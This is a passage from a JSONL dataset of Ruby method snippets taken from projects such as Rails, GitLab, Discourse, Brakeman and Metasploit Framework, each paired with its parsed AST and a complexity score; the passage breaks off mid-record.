{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/dependencies.rb","start_line":23,"raw_source":"def self.load_interlock(&block)\n      ActiveSupport.deprecator.warn(\n        \"ActiveSupport::Dependencies.load_interlock is deprecated and \" \\\n        \"will be removed in Rails 9.0. The loading interlock is no longer \" \\\n        \"used since Rails switched to Zeitwerk for autoloading.\"\n      )\n      yield if block\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_interlock\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"deprecator\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ActiveSupport::Dependencies.load_interlock is deprecated and \"]},{\"type\":\"str\",\"children\":[\"will be removed in Rails 9.0. The loading interlock is no longer \"]},{\"type\":\"str\",\"children\":[\"used since Rails switched to Zeitwerk for autoloading.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"yield\",\"children\":[]},null]}]}]}","id":"446bcbac-69dd-4778-8284-d70bb6c91057"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/copy/concerns/copy_attachments.rb","start_line":48,"raw_source":"def copy_attachment(source:, from:, to:, references:)\n        copy = Attachment\n          .new(attachment_copy_attributes(source, to.id))\n        source.file.copy_to(copy)\n\n        if copy.save\n          update_references(\n            attachment_source: source.id,\n            attachment_target: copy.id,\n            model_source: from,\n            model_target: to,\n            references:\n          )\n        else\n          Rails.logger.error { \"Attachments ##{source.id} could not be copy: #{copy.errors.full_messages} \" }\n        end\n      rescue StandardError => e\n        Rails.logger.error { \"Failed to copy attachments from #{from} to #{to}: #{e}\" }\n      end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_attachment\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"source\"]},{\"type\":\"kwarg\",\"children\":[\"from\"]},{\"type\":\"kwarg\",\"children\":[\"to\"]},{\"type\":\"kwarg\",\"children\":[\"references\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"copy\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Attachment\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"attachment_copy_attributes\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"file\"]},\"copy_to\",{\"type\":\"lvar\",\"children\":[\"copy\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"update_references\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attachment_source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attachment_target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_source\"]},{\"type\":\"lvar\",\"children\":[\"from\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_target\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"references\"]},{\"type\":\"lvar\",\"children\":[\"references\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attachments #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" could not be copy: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy\"]},\"errors\"]},\"full_messages\"]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to copy attachments from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"1262fa95-017a-43c7-841c-712273cbae73"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/custom_field_injector.rb","start_line":299,"raw_source":"def property_value_setter_for(custom_field)\n          ->(fragment:, **) {\n            value = if fragment && custom_field.field_format == \"text\"\n                      fragment[\"raw\"]\n                    else\n                      fragment\n                    end\n            send(custom_field.attribute_setter, value)\n          }\n        end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"property_value_setter_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"fragment\"]},{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fragment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"field_format\"]},\"==\",{\"type\":\"str\",\"children\":[\"text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fragment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"raw\"]}]},{\"type\":\"lvar\",\"children\":[\"fragment\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"attribute_setter\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"7754aa38-c8ce-4b2c-944d-2b29c8cb5842"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/stories/feeds_controller.rb","start_line":31,"raw_source":"def add_pinned_article\n      return if params[:timeframe].present?\n\n      pinned_article = PinnedArticle.get\n      return if pinned_article.nil? || @stories.detect { |story| story.id == pinned_article.id }\n\n      @stories.prepend(pinned_article.decorate)\n    end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"add_pinned_article\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeframe\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"pinned_article\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PinnedArticle\"]},\"get\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pinned_article\"]},\"nil?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stories\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"story\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"story\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pinned_article\"]},\"id\"]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stories\"]},\"prepend\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pinned_article\"]},\"decorate\"]}]}]}]}","id":"55b48516-8d30-4672-8acc-2b218901a9ca"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/relation_scoping_test.rb","start_line":253,"raw_source":"def test_scoped_create_with_create_with_has_higher_priority\n    new_comment = VerySpecialComment.where(post_id: 2).create_with(post_id: 1).scoping do\n      VerySpecialComment.create body: \"Wonderful world\"\n    end\n\n    assert_equal 1, new_comment.post_id\n    assert_includes Post.find(1).comments, new_comment\n  end","complexity_score":13.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scoped_create_with_create_with_has_higher_priority\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_comment\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VerySpecialComment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},\"create_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VerySpecialComment\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"Wonderful world\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_comment\"]},\"post_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},\"comments\"]},{\"type\":\"lvar\",\"children\":[\"new_comment\"]}]}]}]}","id":"2e80265c-a931-483a-985d-941703f9d1d9"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_sprockets_path_traversal.rb","start_line":6,"raw_source":"def run_check\n    sprockets_version = tracker.config.gem_version(:sprockets)\n\n    return unless sprockets_version\n    return if has_workaround?\n\n    case\n    when version_between?(\"0.0.0\", \"2.12.4\", sprockets_version)\n      upgrade_version = \"2.12.5\"\n      confidence = :weak\n    when version_between?(\"3.0.0\", \"3.7.1\", sprockets_version)\n      upgrade_version = \"3.7.2\"\n      confidence = :high\n    when version_between?(\"4.0.0.beta1\", \"4.0.0.beta7\", sprockets_version)\n      upgrade_version = \"4.0.0.beta8\"\n      confidence = :high\n    else\n      return\n    end\n\n    message = msg(msg_version(sprockets_version, \"sprockets\"), \" has a path traversal vulnerability \", msg_cve(\"CVE-2018-3760\"), \". Upgrade to \", msg_version(upgrade_version, \"sprockets\"), \" or newer\")\n\n    warn :warning_type => \"Path Traversal\",\n      :warning_code => :CVE_2018_3760,\n      :message => message,\n      :confidence => confidence,\n      :gem_info => gemfile_or_environment(:sprockets),\n      :link_path => \"https://groups.google.com/d/msg/rubyonrails-security/ft_J--l55fM/7roDfQ50BwAJ\",\n      :cwe_id => [22, 200]\n  end","complexity_score":31.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sprockets_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"config\"]},\"gem_version\",{\"type\":\"sym\",\"children\":[\"sprockets\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sprockets_version\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_workaround?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[null,{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"0.0.0\"]},{\"type\":\"str\",\"children\":[\"2.12.4\"]},{\"type\":\"lvar\",\"children\":[\"sprockets_version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upgrade_version\",{\"type\":\"str\",\"children\":[\"2.12.5\"]}]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"weak\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.7.1\"]},{\"type\":\"lvar\",\"children\":[\"sprockets_version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upgrade_version\",{\"type\":\"str\",\"children\":[\"3.7.2\"]}]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"high\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"4.0.0.beta1\"]},{\"type\":\"str\",\"children\":[\"4.0.0.beta7\"]},{\"type\":\"lvar\",\"children\":[\"sprockets_version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upgrade_version\",{\"type\":\"str\",\"children\":[\"4.0.0.beta8\"]}]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"high\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"lvar\",\"children\":[\"sprockets_version\"]},{\"type\":\"str\",\"children\":[\"sprockets\"]}]},{\"type\":\"str\",\"children\":[\" has a path traversal vulnerability \"]},{\"type\":\"send\",\"children\":[null,\"msg_cve\",{\"type\":\"str\",\"children\":[\"CVE-2018-3760\"]}]},{\"type\":\"str\",\"children\":[\". Upgrade to \"]},{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"lvar\",\"children\":[\"upgrade_version\"]},{\"type\":\"str\",\"children\":[\"sprockets\"]}]},{\"type\":\"str\",\"children\":[\" or newer\"]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Path Traversal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"CVE_2018_3760\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"lvar\",\"children\":[\"confidence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gem_info\"]},{\"type\":\"send\",\"children\":[null,\"gemfile_or_environment\",{\"type\":\"sym\",\"children\":[\"sprockets\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_path\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/msg/rubyonrails-security/ft_J--l55fM/7roDfQ50BwAJ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[22]},{\"type\":\"int\",\"children\":[200]}]}]}]}]}]}]}","id":"f95f65fc-5c87-46e6-a0f2-5d4806b4e0ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/boards/boards_finder.rb","start_line":15,"raw_source":"def first_board\n      parent.boards.first_board\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"first_board\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"boards\"]},\"first_board\"]}]}","id":"bde864ad-1f54-4f13-8395-69a752ff107e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/release_presenter.rb","start_line":22,"raw_source":"def opened_merge_requests_url\n    project_merge_requests_url(project, params_for_issues_and_mrs)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"opened_merge_requests_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"project_merge_requests_url\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"params_for_issues_and_mrs\"]}]}]}","id":"5f59b9ed-f210-462e-8bae-c097fe456ca8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/static.rb","start_line":26,"raw_source":"def call(env)\n      @file_handler.attempt(env) || @app.call(env)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@file_handler\"]},\"attempt\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}","id":"8a43fbf4-80c1-4f38-9f04-5663ba401459"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tracking/destinations/snowplow.rb","start_line":17,"raw_source":"def initialize(destination_configuration = DestinationConfiguration.snowplow_configuration)\n          @destination_configuration = destination_configuration\n          @event_eligibility_checker = Gitlab::Tracking::EventEligibilityChecker.new\n\n          return if batching_disabled?\n\n          Kernel.at_exit { tracker.flush(async: false) }\n        end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"destination_configuration\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DestinationConfiguration\"]},\"snowplow_configuration\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@destination_configuration\",{\"type\":\"lvar\",\"children\":[\"destination_configuration\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@event_eligibility_checker\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Tracking\"]},\"EventEligibilityChecker\"]},\"new\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batching_disabled?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kernel\"]},\"at_exit\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"flush\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"250e69d5-1a97-47df-a036-4d8a8b1b4814"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/work_packages_controller_helper.rb","start_line":39,"raw_source":"def check_allowed_export\n    return unless params[:format] == \"pdf\" && params[:pdf_export_type] == \"gantt\"\n\n    render_403 unless EnterpriseToken.allows_to?(:gantt_pdf_export)\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check_allowed_export\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"pdf\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pdf_export_type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"gantt\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EnterpriseToken\"]},\"allows_to?\",{\"type\":\"sym\",\"children\":[\"gantt_pdf_export\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_403\"]}]}]}]}","id":"8ece96cf-12be-4262-a43d-4da7a6278956"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-adplugin/lib/adplugin/guardian_extensions.rb","start_line":13,"raw_source":"def show_carbon_ads?\n      !self.user.in_any_groups?(SiteSetting.carbonads_exclude_groups_map)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"show_carbon_ads?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user\"]},\"in_any_groups?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"carbonads_exclude_groups_map\"]}]},\"!\"]}]}","id":"2c8ab29b-928b-4552-ac2e-8fd313505659"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/video_conversion/adapter_factory.rb","start_line":5,"raw_source":"def self.get_adapter(upload, options = {})\n      adapter_type = options[:adapter_type] || SiteSetting.video_conversion_service\n\n      case adapter_type\n      when \"aws_mediaconvert\"\n        AwsMediaConvertAdapter.new(upload, options)\n      else\n        raise ArgumentError, \"Unknown video conversion service: #{adapter_type}\"\n      end\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_adapter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"adapter_type\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"adapter_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"video_conversion_service\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"aws_mediaconvert\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AwsMediaConvertAdapter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"upload\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown video conversion service: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter_type\"]}]}]}]}]}]}]}","id":"be4a991d-f5bf-4862-8b96-351f707604fc"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_revisor.rb","start_line":25,"raw_source":"def guardian\n      @guardian ||= Guardian.new(@user)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"guardian\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@guardian\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guardian\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}","id":"6575490c-b22b-4b94-b042-dbf9dcdd7847"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/multiparameter_attributes_test.rb","start_line":386,"raw_source":"def test_multiparameter_assigned_attributes_did_not_come_from_user\n    topic = Topic.new(\n      \"written_on(1i)\" => \"1952\",\n      \"written_on(2i)\" => \"3\",\n      \"written_on(3i)\" => \"11\",\n      \"written_on(4i)\" => \"13\",\n      \"written_on(5i)\" => \"55\",\n    )\n    assert_not_predicate topic, :written_on_came_from_user?\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiparameter_assigned_attributes_did_not_come_from_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(1i)\"]},{\"type\":\"str\",\"children\":[\"1952\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(2i)\"]},{\"type\":\"str\",\"children\":[\"3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(3i)\"]},{\"type\":\"str\",\"children\":[\"11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(4i)\"]},{\"type\":\"str\",\"children\":[\"13\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(5i)\"]},{\"type\":\"str\",\"children\":[\"55\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"sym\",\"children\":[\"written_on_came_from_user?\"]}]}]}]}","id":"f07d6360-8015-468d-a30a-64e60897daab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ntlm/message.rb","start_line":97,"raw_source":"def encode64\n    Rex::Text::encode_base64(serialize)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encode64\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[null,\"serialize\"]}]}]}","id":"a65ca18d-bb01-49fe-8a34-774323fb9721"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/interactive.rb","start_line":211,"raw_source":"def interact_stream(stream)\n    while self.interacting && _remote_fd(stream)\n\n      # Select input and rstream\n      sd = Rex::ThreadSafe.select([ _local_fd, _remote_fd(stream) ], nil, nil, 0.25)\n\n      # Cycle through the items that have data\n      # From the stream?  Write to user_output.\n      sd[0].each { |s|\n        if (s == _remote_fd(stream))\n          _stream_read_remote_write_local(stream)\n        # From user_input?  Write to stream.\n        elsif (s == _local_fd)\n          _stream_read_local_write_remote(stream)\n        end\n      } if (sd)\n\n      Thread.pass\n    end\n  